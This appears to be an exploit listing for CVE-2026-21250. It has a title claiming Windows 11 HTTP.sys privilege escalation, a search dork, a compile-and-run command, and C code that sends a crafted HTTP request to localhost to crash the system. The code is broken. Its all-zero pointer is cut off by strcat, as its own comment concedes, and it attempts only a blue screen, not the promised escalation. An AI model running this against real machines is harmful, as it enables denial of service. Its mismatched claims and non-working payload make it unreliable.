CVE-2026-21250

gcc 52546.c -o exploit && ./exploit

Code c

# Exploit Title: Windows 11 24H2  - Local Privilege Escalation
# Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege"
# Date: 2026-02-27
# Exploit Author: London foggy snow
# Vendor Homepage: https://www.microsoft.com/en-us/msrc
# Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys
# Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148)
# Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64)
# CVE : CVE-2026-21250
# powershell -> net start http




#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define TARGET_IP "127.0.0.1"
#define TARGET_PORT 80

unsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

char* build_malicious_request() {
    static char request[1024];
    sprintf(request,
        "GET / HTTP/1.1\r\n"
        "Host: localhost\r\n"
        "X-Trigger-Ptr: ");

    // Critical Pitfall: strcat truncation (core vulnerability trigger failure)
    // Citation: "The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers
    // required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver,
    // leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation."

    strcat(request, (char*)malicious_ptr);
    strcat(request, "\r\n"
        "Connection: close\r\n"
        "\r\n");

    return request;
}

int trigger_blue_screen() {
    WSADATA wsaData;
    SOCKET client_socket;
    struct sockaddr_in target_addr;
    int ret;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed, error: %d\n", WSAGetLastError());
        return -1;
    }

    client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (client_socket == INVALID_SOCKET) {
        printf("socket failed, error: %d\n", WSAGetLastError());
        WSACleanup();
        return -1;
    }

    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(TARGET_PORT);
    inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);

    ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr));
    if (ret == SOCKET_ERROR) {
        printf("connect failed, error: %d\n", WSAGetLastError());
        closesocket(client_socket);
        WSACleanup();
        return -1;
    }
    printf("[+] Connected to local HTTP service, sending malicious request...\n");

    char* request = build_malicious_request();
    ret = send(client_socket, request, (int)strlen(request), 0);
    if (ret == SOCKET_ERROR) {
        printf("send failed, error: %d\n", WSAGetLastError());
        closesocket(client_socket);
        WSACleanup();
        return -1;
    }
    printf("[+] Malicious request sent, waiting for BSOD...\n");

    Sleep(2000);
    closesocket(client_socket);
    WSACleanup();
    return 0;
}

int main() {
    printf("=== http.sys local BSOD test ===\n");
    printf("WARNING: May cause BSOD! Save all work now!\n");
    printf("Starting in 3 seconds...\n");
    Sleep(3000);

    int ret = trigger_blue_screen();
    if (ret == 0) {
        printf("Request sent. If no BSOD, check:\n");
        printf("1. System is patched\n");
        printf("2. HTTP service is not running\n");
        printf("3. Port 80 is not listening\n");
    }
    else {
        printf("Trigger failed.\n");
    }

    return 0;
}